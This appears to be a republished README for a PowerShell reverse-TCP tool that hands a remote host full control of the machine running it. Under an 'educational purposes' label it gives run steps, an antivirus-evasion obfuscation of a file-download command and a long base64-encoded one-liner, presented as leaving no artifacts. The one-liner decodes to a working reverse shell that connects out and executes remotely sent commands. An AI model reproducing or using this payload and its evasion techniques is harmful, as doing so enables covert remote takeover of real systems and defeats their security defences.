Powershell-Reverse-TCP : PowerShell Script For Connecting To A Remote Host

PowerShell script for connecting to a remote host. Remote host will have full control over client’s PowerShell and all its underlying commands.

Tested with PowerShell v5.1.18362.752 on Windows 10 Enterprise OS (64 bit). Made for educational purposes. I hope it will help!

How to Run?

Change the IP address and port number inside the script.

• Open the PowerShell from \src\ and run the commands shown below.
• Set the execution policy:

Set-ExecutionPolicy Unrestricted

• Run the script:

.\powershell_reverse_tcp.ps1

• Or run the following command from either PowerShell or Command Prompt:

PowerShell -ExecutionPolicy Unrestricted -File .\powershell_reverse_tcp.ps1

Also Read – SkyWrapper : Tool To Discover Suspicious Creation Forms

PowerShell Obfuscation

• Try to bypass an antivirus or some other security mechanisms by obfuscating your scripts.
• You can see such obfuscation in the example below.
• Original PowerShell command:

(New-Object Net.WebClient).DownloadFile($url, $out)

• Obfuscated PowerShell command:

& (`G`C`M *ke-E*) ‘(& (`G`C`M *ew-O*) `N`E`T`.`W`E`B`C`L`I`E`N`T).”`D`O`W`N`L`O`A`D`F`I`L`E”($url, $out)’

• Check the original PowerShell script here and the obfuscated one here.
• Besides manual obfuscation, the original PowerShell script was also obfuscated with Invoke-Obfuscation. Credits to the author!
• Search the Internet for additional methods and obfuscation techniques.

• P.S. As the PowerShell is constantly being updated some regular expressions (e.g. *ke-E*) might start to throw errors due to multiple methods matching the same expression, so the expressions will need to be specified a little bit better.

PowerShell Encoded Command

• Use the one-liner below if you don’t want to leave any artifacts behind.
• Encoded script will prompt for input. See the slightly altered script in my other project.
• To run the PowerShell encoded command, run the following command from either PowerShell or Command Prompt:

PowerShell -ExecutionPolicy Unrestricted -EncodedCommand JABhAGQAZAByACAAPQAgACQAKABSAGUAYQBkAC0ASABvAHMAdAAgAC0AUAByAG8AbQBwAHQAIAAiAEUAbgB0AGUAcgAgAEkAUAAgAGEAZABkAHIAZQBzAHMAIgApAC4AVAByAGkAbQAoACkAOwANAAoAVwByAGkAdABlAC0ASABvAHMAdAAgACIAIgA7AA0ACgAkAHAAbwByAHQAIAA9ACAAJAAoAFIAZQBhAGQALQBIAG8AcwB0ACAALQBQAHIAbwBtAHAAdAAgACIARQBuAHQAZQByACAAcABvAHIAdAAgAG4AdQBtAGIAZQByACIAKQAuAFQAcgBpAG0AKAApADsADQAKAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiACIAOwANAAoAaQBmACAAKAAkAGEAZABkAHIALgBMAGUAbgBnAHQAaAAgAC0AbAB0ACAAMQAgAC0AbwByACAAJABwAG8AcgB0AC4ATABlAG4AZwB0AGgAIAAtAGwAdAAgADEAKQAgAHsADQAKAAkAVwByAGkAdABlAC0ASABvAHMAdAAgACIAQgBvAHQAaAAgAHAAYQByAGEAbQBlAHQAZQByAHMAIABhAHIAZQAgAHIAZQBxAHUAaQByAGUAZAAiADsADQAKAH0AIABlAGwAcwBlACAAewANAAoACQBXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAiADsADQAKAAkAVwByAGkAdABlAC0ASABvAHMAdAAgACIAIwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACMAIgA7AA0ACgAJAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiACMAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAUABvAHcAZQByAFMAaABlAGwAbAAgAFIAZQB2AGUAcgBzAGUAIABUAEMAUAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAjACIAOwANAAoACQBXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgAjACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGIAeQAgAEkAdgBhAG4AIABTAGkAbgBjAGUAawAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIwAiADsADQAKAAkAVwByAGkAdABlAC0ASABvAHMAdAAgACIAIwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACMAIgA7AA0ACgAJAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiACMAIABHAGkAdABIAHUAYgAgAHIAZQBwAG8AcwBpAHQAbwByAHkAIABhAHQAIABnAGkAdABoAHUAYgAuAGMAbwBtAC8AaQB2AGEAbgAtAHMAaQBuAGMAZQBrAC8AcABvAHcAZQByAHMAaABlAGwAbAAtAHIAZQB2AGUAcgBzAGUALQB0AGMAcAAuACAAIAAjACIAOwANAAoACQBXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgAjACAARgBlAGUAbAAgAGYAcgBlAGUAIAB0AG8AIABkAG8AbgBhAHQAZQAgAGIAaQB0AGMAbwBpAG4AIABhAHQAIAAxAEIAcgBaAE0ANgBUADcARwA5AFIATgA4AHYAYgBhAGIAbgBmAFgAdQA0AE0ANgBMAHAAZwB6AHQAcQA2AFkAMQA0AC4AIAAgACAAIwAiADsADQAKAAkAVwByAGkAdABlAC0ASABvAHMAdAAgACIAIwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACMAIgA7AA0ACgAJAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACIAOwANAAoACQAkAHMAbwBjAGsAZQB0ACAAPQAgACQAbgB1AGwAbAA7AA0ACgAJACQAcwB0AHIAZQBhAG0AIAA9ACAAJABuAHUAbABsADsADQAKAAkAJABiAHUAZgBmAGUAcgAgAD0AIAAkAG4AdQBsAGwAOwANAAoACQAkAHcAcgBpAHQAZQByACAAPQAgACQAbgB1AGwAbAA7AA0ACgAJACQAZABhAHQAYQAgAD0AIAAkAG4AdQBsAGwAOwANAAoACQAkAHIAZQBzAHUAbAB0ACAAPQAgACQAbgB1AGwAbAA7AA0ACgAJAHQAcgB5ACAAewANAAoACQAJACMAIABjAGgAYQBuAGcAZQAgAHQAaABlACAAaABvAHMAdAAgAGEAZABkAHIAZQBzAHMAIABhAG4AZAAvAG8AcgAgAHAAbwByAHQAIABuAHUAbQBiAGUAcgAgAGEAcwAgAG4AZQBjAGUAcwBzAGEAcgB5AA0ACgAJAAkAJABzAG8AYwBrAGUAdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBTAG8AYwBrAGUAdABzAC4AVABjAHAAQwBsAGkAZQBuAHQAKAAkAGEAZABkAHIALAAgACQAcABvAHIAdAApADsADQAKAAkACQAkAHMAdAByAGUAYQBtACAAPQAgACQAcwBvAGMAawBlAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwANAAoACQAJACQAYgB1AGYAZgBlAHIAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAEIAeQB0AGUAWwBdACAAMQAwADIANAA7AA0ACgAJAAkAJABlAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBBAHMAYwBpAGkARQBuAGMAbwBkAGkAbgBnADsADQAKAAkACQAkAHcAcgBpAHQAZQByACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBXAHIAaQB0AGUAcgAoACQAcwB0AHIAZQBhAG0AKQA7AA0ACgAJAAkAJAB3AHIAaQB0AGUAcgAuAEEAdQB0AG8ARgBsAHUAcwBoACAAPQAgACQAdAByAHUAZQA7AA0ACgAJAAkAVwByAGkAdABlAC0ASABvAHMAdAAgACIAQgBhAGMAawBkAG8AbwByACAAaQBzACAAdQBwACAAYQBuAGQAIAByAHUAbgBuAGkAbgBnAC4ALgAuACIAOwANAAoACQAJAGQAbwAgAHsADQAKAAkACQAJACQAdwByAGkAdABlAHIALgBXAHIAaQB0AGUAKAAiAFAAUwA+ACIAKQA7AA0ACgAJAAkACQBkAG8AIAB7AA0ACgAJAAkACQAJACQAYgB5AHQAZQBzACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHUAZgBmAGUAcgAsACAAMAAsACAAJABiAHUAZgBmAGUAcgAuAEwAZQBuAGcAdABoACkAOwANAAoACQAJAAkACQBpAGYAIAAoACQAYgB5AHQAZQBzACAALQBnAHQAIAAwACkAIAB7AA0ACgAJAAkACQAJAAkAJABkAGEAdABhACAAPQAgACQAZABhAHQAYQAgACsAIAAkAGUAbgBjAG8AZABpAG4AZwAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHUAZgBmAGUAcgAsACAAMAAsACAAJABiAHkAdABlAHMAKQA7AA0ACgAJAAkACQAJAH0AIABlAGwAcwBlACAAewANAAoACQAJAAkACQAJACQAZABhAHQAYQAgAD0AIAAiAGUAeABpAHQAIgA7AA0ACgAJAAkACQAJAH0ADQAKAAkACQAJAH0AIAB3AGgAaQBsAGUAIAAoACQAcwB0AHIAZQBhAG0ALgBEAGEAdABhAEEAdgBhAGkAbABhAGIAbABlACkAOwANAAoACQAJAAkAaQBmACAAKAAkAGQAYQB0AGEALgBMAGUAbgBnAHQAaAAgAC0AZwB0ACAAMAAgAC0AYQBuAGQAIAAkAGQAYQB0AGEAIAAtAG4AZQAgACIAZQB4AGkAdAAiACkAIAB7AA0ACgAJAAkACQAJAHQAcgB5ACAAewANAAoACQAJAAkACQAJACQAcgBlAHMAdQBsAHQAIAA9ACAASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAJABkAGEAdABhACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAOwANAAoACQAJAAkACQB9ACAAYwBhAHQAYwBoACAAewANAAoACQAJAAkACQAJACQAcgBlAHMAdQBsAHQAIAA9ACAAJABfAC4ARQB4AGMAZQBwAHQAaQBvAG4ALgBJAG4AbgBlAHIARQB4AGMAZQBwAHQAaQBvAG4ALgBNAGUAcwBzAGEAZwBlADsADQAKAAkACQAJAAkAfQANAAoACQAJAAkACQAkAHcAcgBpAHQAZQByAC4AVwByAGkAdABlAEwAaQBuAGUAKAAkAHIAZQBzAHUAbAB0ACkAOwANAAoACQAJAAkACQBDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIAAtAE4AYQBtAGUAIAAiAGQAYQB0AGEAIgA7AA0ACgAJAAkACQB9AA0ACgAJAAkAfQAgAHcAaABpAGwAZQAgACgAJABkAGEAdABhACAALQBuAGUAIAAiAGUAeABpAHQAIgApADsADQAKAAkAfQAgAGMAYQB0AGMAaAAgAHsADQAKAAkACQBXAHIAaQB0AGUALQBIAG8AcwB0ACAAJABfAC4ARQB4AGMAZQBwAHQAaQBvAG4ALgBJAG4AbgBlAHIARQB4AGMAZQBwAHQAaQBvAG4ALgBNAGUAcwBzAGEAZwBlADsADQAKAAkAfQAgAGYAaQBuAGEAbABsAHkAIAB7AA0ACgAJAAkAaQBmACAAKAAkAHMAbwBjAGsAZQB0ACAALQBuAGUAIAAkAG4AdQBsAGwAKQAgAHsADQAKAAkACQAJACQAcwBvAGMAawBlAHQALgBDAGwAbwBzAGUAKAApADsADQAKAAkACQAJACQAcwBvAGMAawBlAHQALgBEAGkAcwBwAG8AcwBlACgAKQA7AA0ACgAJAAkAfQANAAoACQAJAGkAZgAgACgAJABzAHQAcgBlAGEAbQAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7AA0ACgAJAAkACQAkAHMAdAByAGUAYQBtAC4AQwBsAG8AcwBlACgAKQA7AA0ACgAJAAkACQAkAHMAdAByAGUAYQBtAC4ARABpAHMAcABvAHMAZQAoACkAOwANAAoACQAJAH0ADQAKAAkACQBpAGYAIAAoACQAYgB1AGYAZgBlAHIAIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewANAAoACQAJAAkAJABiAHUAZgBmAGUAcgAuAEMAbABlAGEAcgAoACkAOwANAAoACQAJAH0ADQAKAAkACQBpAGYAIAAoACQAdwByAGkAdABlAHIAIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewANAAoACQAJAAkAJAB3AHIAaQB0AGUAcgAuAEMAbABvAHMAZQAoACkAOwANAAoACQAJAAkAJAB3AHIAaQB0AGUAcgAuAEQAaQBzAHAAbwBzAGUAKAApADsADQAKAAkACQB9AA0ACgAJAAkAaQBmACAAKAAkAGQAYQB0AGEAIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewANAAoACQAJAAkAQwBsAGUAYQByAC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAIgBkAGEAdABhACIAOwANAAoACQAJAH0ADQAKAAkACQBpAGYAIAAoACQAcgBlAHMAdQBsAHQAIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewANAAoACQAJAAkAQwBsAGUAYQByAC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAIgByAGUAcwB1AGwAdAAiADsADQAKAAkACQB9AA0ACgAJAH0ADQAKAH0ADQAKAA==

• To generate a PowerShell encoded command from a PowerShell script, run the following PowerShell command:

[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes([IO.File]::ReadAllText($script)))

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